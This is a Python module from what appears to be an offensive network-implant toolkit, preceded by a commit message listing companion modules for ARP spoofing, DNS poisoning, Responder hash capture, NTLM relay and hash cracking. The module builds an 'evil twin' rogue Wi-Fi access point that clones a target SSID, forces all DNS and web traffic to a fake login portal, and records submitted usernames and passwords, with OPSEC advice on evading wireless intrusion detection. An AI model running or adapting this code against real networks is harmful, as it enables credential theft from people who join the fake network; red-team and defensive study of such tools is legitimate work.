ba5143b560
Active modules (9 files in modules/active/): - bettercap_mgr: Central bettercap orchestrator with REST API health monitoring, event stream parsing, crash recovery with corrective gratuitous ARPs, caplet management, and process disguise - arp_spoof: Thin bettercap wrapper for ARP spoofing with OPSEC warnings - dns_poison: DNS poisoning with zone template loading support - dhcp_spoof: DHCPv6 spoofing via bettercap for rogue DNS injection - evil_twin: hostapd-based rogue AP with captive portal and dnsmasq, iptables redirect, credential capture via HTTP POST handler - ipv6_slaac: IPv6 SLAAC spoofing via bettercap + mitm6 WPAD abuse - responder_mgr: Responder subprocess manager with hash file monitoring, NTLMv1/v2 parsing, session log scanning, relay target coordination - mitmproxy_mgr: Transparent proxy with addon scripts, tier checking (OPi Zero 3+ only), iptables setup, credential/token extraction - ntlm_relay: ntlmrelayx wrapper with multi-protocol relay (SMB, LDAP, LDAPS, HTTP, MSSQL, ADCS), Responder exclusion coordination, SOCKS Templates (9 files): - 4 captive portals: corporate SSO, guest WiFi, Outlook/M365, VPN (self-contained HTML with inline CSS, realistic login forms) - 2 DNS zones: redirect-all and selective Jinja2 template - 2 hostapd configs: open AP and WPA2-PSK Jinja2 templates - 1 Responder.conf Jinja2 template with protocol toggles Operator scripts (6 files in scripts/operator/): - pull_data.sh: rsync structured data over WireGuard/Tailscale - extract_files.sh: tshark HTTP/SMB/FTP/TFTP file extraction - extract_print_jobs.sh: TCP/9100 print job reconstruction + PDF convert - extract_emails.sh: SMTP email extraction with attachment detection - crack_hashes.sh: Export creds to hashcat format, optional auto-crack - generate_report.py: SQLite-to-Markdown/HTML engagement report generator
554 lines
20 KiB
Python
554 lines
20 KiB
Python
#!/usr/bin/env python3
|
|
"""Evil Twin AP module — hostapd-based rogue access point with captive portal.
|
|
|
|
Creates a wireless access point matching a target SSID, combined with
|
|
a captive portal served via a lightweight HTTP server. dnsmasq provides
|
|
DHCP and DNS for connected clients, redirecting all DNS to the portal.
|
|
|
|
OPSEC: Run wireless_intel module for 2-hour observation before activation
|
|
to detect WIDS/WIPS and understand target AP parameters.
|
|
|
|
Resources: ~30MB RAM, ~5% CPU
|
|
"""
|
|
|
|
import http.server
|
|
import logging
|
|
import os
|
|
import signal
|
|
import socketserver
|
|
import subprocess
|
|
import threading
|
|
import time
|
|
from pathlib import Path
|
|
from typing import Optional
|
|
|
|
from modules.base import BaseModule
|
|
|
|
logger = logging.getLogger("bb.active.evil_twin")
|
|
|
|
# Default dnsmasq config for captive portal
|
|
DNSMASQ_CONF_TEMPLATE = """interface={iface}
|
|
dhcp-range={dhcp_start},{dhcp_end},255.255.255.0,12h
|
|
dhcp-option=3,{gateway}
|
|
dhcp-option=6,{gateway}
|
|
address=/#/{gateway}
|
|
no-resolv
|
|
log-queries
|
|
log-facility=/tmp/bb-dnsmasq.log
|
|
"""
|
|
|
|
|
|
class CaptivePortalHandler(http.server.SimpleHTTPRequestHandler):
|
|
"""HTTP handler for the captive portal.
|
|
|
|
Serves the portal HTML for GET requests and captures POST data
|
|
(credentials) from login forms.
|
|
"""
|
|
|
|
portal_html = ""
|
|
credential_callback = None
|
|
|
|
def do_GET(self):
|
|
self.send_response(200)
|
|
self.send_header("Content-Type", "text/html")
|
|
self.end_headers()
|
|
self.wfile.write(self.portal_html.encode("utf-8"))
|
|
|
|
def do_POST(self):
|
|
content_length = int(self.headers.get("Content-Length", 0))
|
|
post_data = self.rfile.read(content_length).decode("utf-8", errors="replace")
|
|
|
|
if self.credential_callback:
|
|
self.credential_callback(self.client_address[0], post_data)
|
|
|
|
# Redirect to a "success" page after capture
|
|
self.send_response(200)
|
|
self.send_header("Content-Type", "text/html")
|
|
self.end_headers()
|
|
success_html = (
|
|
"<html><body><h2>Connecting...</h2>"
|
|
"<p>Please wait while we verify your credentials.</p>"
|
|
"<script>setTimeout(function(){window.location='/'},5000);</script>"
|
|
"</body></html>"
|
|
)
|
|
self.wfile.write(success_html.encode("utf-8"))
|
|
|
|
def log_message(self, format, *args):
|
|
"""Suppress default HTTP logging to avoid console noise."""
|
|
pass
|
|
|
|
|
|
class EvilTwin(BaseModule):
|
|
"""Evil Twin AP with captive portal credential harvesting.
|
|
|
|
Creates a rogue AP matching a target SSID using hostapd, serves a
|
|
captive portal, and captures credentials from connecting clients.
|
|
|
|
Dependencies:
|
|
- hostapd (system package)
|
|
- dnsmasq (system package)
|
|
- Wireless interface capable of AP mode
|
|
|
|
Configuration:
|
|
wifi_iface: Wireless interface for AP mode (e.g., "wlan0")
|
|
portal_dir: Path to captive portal HTML templates
|
|
"""
|
|
|
|
name = "evil_twin"
|
|
module_type = "active"
|
|
priority = 200
|
|
requires_root = True
|
|
|
|
def __init__(self, bus, state, config, engine=None):
|
|
super().__init__(bus, state, config, engine)
|
|
self._hostapd_proc: Optional[subprocess.Popen] = None
|
|
self._dnsmasq_proc: Optional[subprocess.Popen] = None
|
|
self._portal_thread: Optional[threading.Thread] = None
|
|
self._portal_server: Optional[socketserver.TCPServer] = None
|
|
self._wifi_iface = config.get("wifi_iface", "wlan0")
|
|
self._ap_active = False
|
|
self._ssid: Optional[str] = None
|
|
self._channel = 6
|
|
self._portal_template: Optional[str] = None
|
|
self._clients: list = []
|
|
self._clients_lock = threading.Lock()
|
|
self._captured_creds: list = []
|
|
self._creds_lock = threading.Lock()
|
|
self._portal_port = config.get("portal_port", 80)
|
|
self._gateway_ip = config.get("ap_gateway", "10.0.0.1")
|
|
self._dhcp_start = config.get("dhcp_start", "10.0.0.10")
|
|
self._dhcp_end = config.get("dhcp_end", "10.0.0.250")
|
|
self._template_dir = config.get(
|
|
"portal_dir",
|
|
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "captive_portals"),
|
|
)
|
|
self._hostapd_template_dir = config.get(
|
|
"hostapd_template_dir",
|
|
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "hostapd"),
|
|
)
|
|
self._tmp_dir = "/tmp/bb-evil-twin"
|
|
|
|
# ------------------------------------------------------------------
|
|
# BaseModule interface
|
|
# ------------------------------------------------------------------
|
|
|
|
def start(self) -> None:
|
|
if self._running:
|
|
return
|
|
|
|
self._running = True
|
|
self._pid = os.getpid()
|
|
self._start_time = time.time()
|
|
|
|
Path(self._tmp_dir).mkdir(parents=True, exist_ok=True)
|
|
|
|
self.state.set_module_status(self.name, "running", pid=self._pid)
|
|
logger.info("EvilTwin module started (ready for AP creation)")
|
|
|
|
def stop(self) -> None:
|
|
if not self._running:
|
|
return
|
|
|
|
if self._ap_active:
|
|
self.stop_ap()
|
|
|
|
self._running = False
|
|
self.state.set_module_status(self.name, "stopped")
|
|
logger.info("EvilTwin module stopped")
|
|
|
|
def status(self) -> dict:
|
|
return {
|
|
"running": self._running,
|
|
"pid": self._pid,
|
|
"uptime": time.time() - self._start_time if self._start_time else 0,
|
|
"ap_active": self._ap_active,
|
|
"ssid": self._ssid,
|
|
"channel": self._channel,
|
|
"interface": self._wifi_iface,
|
|
"client_count": len(self._clients),
|
|
"captured_creds": len(self._captured_creds),
|
|
}
|
|
|
|
def configure(self, config: dict) -> None:
|
|
self.config.update(config)
|
|
if "wifi_iface" in config:
|
|
self._wifi_iface = config["wifi_iface"]
|
|
if "portal_port" in config:
|
|
self._portal_port = config["portal_port"]
|
|
|
|
# ------------------------------------------------------------------
|
|
# Public API
|
|
# ------------------------------------------------------------------
|
|
|
|
def create_ap(self, ssid: str, channel: int = 6,
|
|
portal_template: str = "corporate_login.html") -> bool:
|
|
"""Create evil twin AP with captive portal.
|
|
|
|
Args:
|
|
ssid: Target SSID to clone.
|
|
channel: WiFi channel (default 6).
|
|
portal_template: Filename of HTML portal template.
|
|
|
|
Returns:
|
|
True if AP was created successfully.
|
|
"""
|
|
if not self._running:
|
|
logger.error("EvilTwin not started")
|
|
return False
|
|
|
|
if self._ap_active:
|
|
logger.warning("AP already active — stop it first")
|
|
return False
|
|
|
|
self._ssid = ssid
|
|
self._channel = channel
|
|
self._portal_template = portal_template
|
|
|
|
# Write hostapd config
|
|
hostapd_conf = self._generate_hostapd_config(ssid, channel)
|
|
hostapd_conf_path = os.path.join(self._tmp_dir, "hostapd.conf")
|
|
with open(hostapd_conf_path, "w") as f:
|
|
f.write(hostapd_conf)
|
|
|
|
# Configure wireless interface
|
|
if not self._setup_interface():
|
|
return False
|
|
|
|
# Start hostapd
|
|
if not self._start_hostapd(hostapd_conf_path):
|
|
self._teardown_interface()
|
|
return False
|
|
|
|
# Write and start dnsmasq
|
|
dnsmasq_conf = DNSMASQ_CONF_TEMPLATE.format(
|
|
iface=self._wifi_iface,
|
|
dhcp_start=self._dhcp_start,
|
|
dhcp_end=self._dhcp_end,
|
|
gateway=self._gateway_ip,
|
|
)
|
|
dnsmasq_conf_path = os.path.join(self._tmp_dir, "dnsmasq.conf")
|
|
with open(dnsmasq_conf_path, "w") as f:
|
|
f.write(dnsmasq_conf)
|
|
|
|
if not self._start_dnsmasq(dnsmasq_conf_path):
|
|
self._stop_hostapd()
|
|
self._teardown_interface()
|
|
return False
|
|
|
|
# Configure iptables for captive portal redirect
|
|
self._setup_iptables()
|
|
|
|
# Start captive portal HTTP server
|
|
self._start_portal(portal_template)
|
|
|
|
self._ap_active = True
|
|
self.state.set(self.name, "ssid", ssid)
|
|
self.state.set(self.name, "channel", str(channel))
|
|
logger.info("Evil Twin AP active: SSID=%s, ch=%d, portal=%s",
|
|
ssid, channel, portal_template)
|
|
return True
|
|
|
|
def stop_ap(self) -> bool:
|
|
"""Stop the evil twin AP and clean up.
|
|
|
|
Returns:
|
|
True if AP was stopped successfully.
|
|
"""
|
|
logger.info("Stopping Evil Twin AP...")
|
|
|
|
# Stop portal server
|
|
self._stop_portal()
|
|
|
|
# Remove iptables rules
|
|
self._teardown_iptables()
|
|
|
|
# Stop dnsmasq
|
|
self._stop_dnsmasq()
|
|
|
|
# Stop hostapd
|
|
self._stop_hostapd()
|
|
|
|
# Restore interface
|
|
self._teardown_interface()
|
|
|
|
self._ap_active = False
|
|
self._ssid = None
|
|
self.state.set(self.name, "ssid", "")
|
|
logger.info("Evil Twin AP stopped")
|
|
return True
|
|
|
|
def get_clients(self) -> list:
|
|
"""Return list of currently connected clients.
|
|
|
|
Returns:
|
|
List of dicts with client MAC and IP.
|
|
"""
|
|
# Parse dnsmasq lease file for connected clients
|
|
lease_file = "/tmp/bb-dnsmasq.leases"
|
|
clients = []
|
|
if os.path.isfile(lease_file):
|
|
try:
|
|
with open(lease_file, "r") as f:
|
|
for line in f:
|
|
parts = line.strip().split()
|
|
if len(parts) >= 4:
|
|
clients.append({
|
|
"mac": parts[1],
|
|
"ip": parts[2],
|
|
"hostname": parts[3] if parts[3] != "*" else "",
|
|
})
|
|
except Exception:
|
|
pass
|
|
|
|
with self._clients_lock:
|
|
self._clients = clients
|
|
return clients
|
|
|
|
# ------------------------------------------------------------------
|
|
# hostapd management
|
|
# ------------------------------------------------------------------
|
|
|
|
def _generate_hostapd_config(self, ssid: str, channel: int) -> str:
|
|
"""Generate hostapd config for open AP."""
|
|
return (
|
|
f"interface={self._wifi_iface}\n"
|
|
f"driver=nl80211\n"
|
|
f"ssid={ssid}\n"
|
|
f"hw_mode=g\n"
|
|
f"channel={channel}\n"
|
|
f"wmm_enabled=0\n"
|
|
f"macaddr_acl=0\n"
|
|
f"auth_algs=1\n"
|
|
f"ignore_broadcast_ssid=0\n"
|
|
f"wpa=0\n"
|
|
)
|
|
|
|
def _start_hostapd(self, conf_path: str) -> bool:
|
|
try:
|
|
self._hostapd_proc = subprocess.Popen(
|
|
["hostapd", conf_path],
|
|
stdout=subprocess.PIPE,
|
|
stderr=subprocess.PIPE,
|
|
)
|
|
time.sleep(2) # Wait for hostapd to initialize
|
|
if self._hostapd_proc.poll() is not None:
|
|
stderr = self._hostapd_proc.stderr.read().decode(errors="replace")
|
|
logger.error("hostapd failed to start: %s", stderr)
|
|
return False
|
|
logger.info("hostapd started (pid=%d)", self._hostapd_proc.pid)
|
|
return True
|
|
except FileNotFoundError:
|
|
logger.error("hostapd not found — install with: apt install hostapd")
|
|
return False
|
|
except Exception as e:
|
|
logger.error("Failed to start hostapd: %s", e)
|
|
return False
|
|
|
|
def _stop_hostapd(self) -> None:
|
|
if self._hostapd_proc and self._hostapd_proc.poll() is None:
|
|
self._hostapd_proc.terminate()
|
|
try:
|
|
self._hostapd_proc.wait(timeout=5)
|
|
except subprocess.TimeoutExpired:
|
|
self._hostapd_proc.kill()
|
|
self._hostapd_proc = None
|
|
|
|
# ------------------------------------------------------------------
|
|
# dnsmasq management
|
|
# ------------------------------------------------------------------
|
|
|
|
def _start_dnsmasq(self, conf_path: str) -> bool:
|
|
try:
|
|
self._dnsmasq_proc = subprocess.Popen(
|
|
[
|
|
"dnsmasq", "-C", conf_path,
|
|
"--no-daemon",
|
|
"--dhcp-leasefile=/tmp/bb-dnsmasq.leases",
|
|
],
|
|
stdout=subprocess.PIPE,
|
|
stderr=subprocess.PIPE,
|
|
)
|
|
time.sleep(1)
|
|
if self._dnsmasq_proc.poll() is not None:
|
|
stderr = self._dnsmasq_proc.stderr.read().decode(errors="replace")
|
|
logger.error("dnsmasq failed to start: %s", stderr)
|
|
return False
|
|
logger.info("dnsmasq started (pid=%d)", self._dnsmasq_proc.pid)
|
|
return True
|
|
except FileNotFoundError:
|
|
logger.error("dnsmasq not found — install with: apt install dnsmasq")
|
|
return False
|
|
except Exception as e:
|
|
logger.error("Failed to start dnsmasq: %s", e)
|
|
return False
|
|
|
|
def _stop_dnsmasq(self) -> None:
|
|
if self._dnsmasq_proc and self._dnsmasq_proc.poll() is None:
|
|
self._dnsmasq_proc.terminate()
|
|
try:
|
|
self._dnsmasq_proc.wait(timeout=5)
|
|
except subprocess.TimeoutExpired:
|
|
self._dnsmasq_proc.kill()
|
|
self._dnsmasq_proc = None
|
|
|
|
# ------------------------------------------------------------------
|
|
# Interface management
|
|
# ------------------------------------------------------------------
|
|
|
|
def _setup_interface(self) -> bool:
|
|
"""Configure wireless interface for AP mode."""
|
|
try:
|
|
# Kill interfering processes
|
|
subprocess.run(
|
|
["airmon-ng", "check", "kill"],
|
|
capture_output=True, timeout=10,
|
|
)
|
|
# Set interface up with IP
|
|
subprocess.run(
|
|
["ip", "addr", "flush", "dev", self._wifi_iface],
|
|
capture_output=True, timeout=5,
|
|
)
|
|
subprocess.run(
|
|
["ip", "addr", "add", f"{self._gateway_ip}/24", "dev", self._wifi_iface],
|
|
capture_output=True, timeout=5,
|
|
)
|
|
subprocess.run(
|
|
["ip", "link", "set", self._wifi_iface, "up"],
|
|
capture_output=True, timeout=5,
|
|
)
|
|
return True
|
|
except Exception:
|
|
logger.exception("Failed to configure wireless interface")
|
|
return False
|
|
|
|
def _teardown_interface(self) -> None:
|
|
"""Restore wireless interface to managed mode."""
|
|
try:
|
|
subprocess.run(
|
|
["ip", "addr", "flush", "dev", self._wifi_iface],
|
|
capture_output=True, timeout=5,
|
|
)
|
|
except Exception:
|
|
pass
|
|
|
|
# ------------------------------------------------------------------
|
|
# iptables for captive portal
|
|
# ------------------------------------------------------------------
|
|
|
|
def _setup_iptables(self) -> None:
|
|
"""Set up iptables to redirect HTTP traffic to the captive portal."""
|
|
rules = [
|
|
# Enable NAT
|
|
["iptables", "-t", "nat", "-A", "POSTROUTING", "-o", self._wifi_iface,
|
|
"-j", "MASQUERADE"],
|
|
# Redirect HTTP to portal
|
|
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._wifi_iface,
|
|
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
|
|
"--to-port", str(self._portal_port)],
|
|
# Redirect HTTPS to portal (for captive portal detection)
|
|
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._wifi_iface,
|
|
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
|
|
"--to-port", str(self._portal_port)],
|
|
]
|
|
for rule in rules:
|
|
try:
|
|
subprocess.run(rule, capture_output=True, timeout=5)
|
|
except Exception:
|
|
logger.warning("Failed to apply iptables rule: %s", " ".join(rule))
|
|
|
|
# Enable IP forwarding
|
|
try:
|
|
with open("/proc/sys/net/ipv4/ip_forward", "w") as f:
|
|
f.write("1")
|
|
except Exception:
|
|
pass
|
|
|
|
def _teardown_iptables(self) -> None:
|
|
"""Remove captive portal iptables rules."""
|
|
rules = [
|
|
["iptables", "-t", "nat", "-D", "POSTROUTING", "-o", self._wifi_iface,
|
|
"-j", "MASQUERADE"],
|
|
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._wifi_iface,
|
|
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
|
|
"--to-port", str(self._portal_port)],
|
|
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._wifi_iface,
|
|
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
|
|
"--to-port", str(self._portal_port)],
|
|
]
|
|
for rule in rules:
|
|
try:
|
|
subprocess.run(rule, capture_output=True, timeout=5)
|
|
except Exception:
|
|
pass
|
|
|
|
# ------------------------------------------------------------------
|
|
# Captive portal HTTP server
|
|
# ------------------------------------------------------------------
|
|
|
|
def _start_portal(self, template_name: str) -> None:
|
|
"""Start the captive portal HTTP server."""
|
|
portal_path = os.path.join(self._template_dir, template_name)
|
|
if os.path.isfile(portal_path):
|
|
with open(portal_path, "r") as f:
|
|
CaptivePortalHandler.portal_html = f.read()
|
|
else:
|
|
logger.warning("Portal template not found: %s — using default", portal_path)
|
|
CaptivePortalHandler.portal_html = (
|
|
"<html><body><h1>Welcome</h1>"
|
|
"<form method='POST'>"
|
|
"<input name='username' placeholder='Username'><br>"
|
|
"<input name='password' type='password' placeholder='Password'><br>"
|
|
"<button type='submit'>Sign In</button>"
|
|
"</form></body></html>"
|
|
)
|
|
|
|
CaptivePortalHandler.credential_callback = self._on_credential_captured
|
|
|
|
self._portal_server = socketserver.TCPServer(
|
|
("0.0.0.0", self._portal_port), CaptivePortalHandler
|
|
)
|
|
self._portal_server.allow_reuse_address = True
|
|
|
|
self._portal_thread = threading.Thread(
|
|
target=self._portal_server.serve_forever,
|
|
daemon=True,
|
|
name="bb-captive-portal",
|
|
)
|
|
self._portal_thread.start()
|
|
logger.info("Captive portal serving on port %d", self._portal_port)
|
|
|
|
def _stop_portal(self) -> None:
|
|
if self._portal_server:
|
|
self._portal_server.shutdown()
|
|
self._portal_server = None
|
|
|
|
def _on_credential_captured(self, client_ip: str, post_data: str) -> None:
|
|
"""Handle credential submission from captive portal."""
|
|
with self._creds_lock:
|
|
self._captured_creds.append({
|
|
"timestamp": time.time(),
|
|
"client_ip": client_ip,
|
|
"post_data": post_data,
|
|
})
|
|
|
|
# Parse form data for username/password
|
|
from urllib.parse import parse_qs
|
|
params = parse_qs(post_data)
|
|
username = params.get("username", params.get("email", [""]))[0] if params else ""
|
|
password = params.get("password", params.get("pass", [""]))[0] if params else ""
|
|
|
|
self.bus.emit(
|
|
"CREDENTIAL_FOUND",
|
|
{
|
|
"source_module": self.name,
|
|
"source_ip": client_ip,
|
|
"target_service": f"captive_portal:{self._ssid}",
|
|
"username": username,
|
|
"credential_type": "cleartext",
|
|
"credential_value": password,
|
|
"raw_data": post_data,
|
|
},
|
|
source_module=self.name,
|
|
)
|
|
logger.info("Captive portal credential captured from %s", client_ip)
|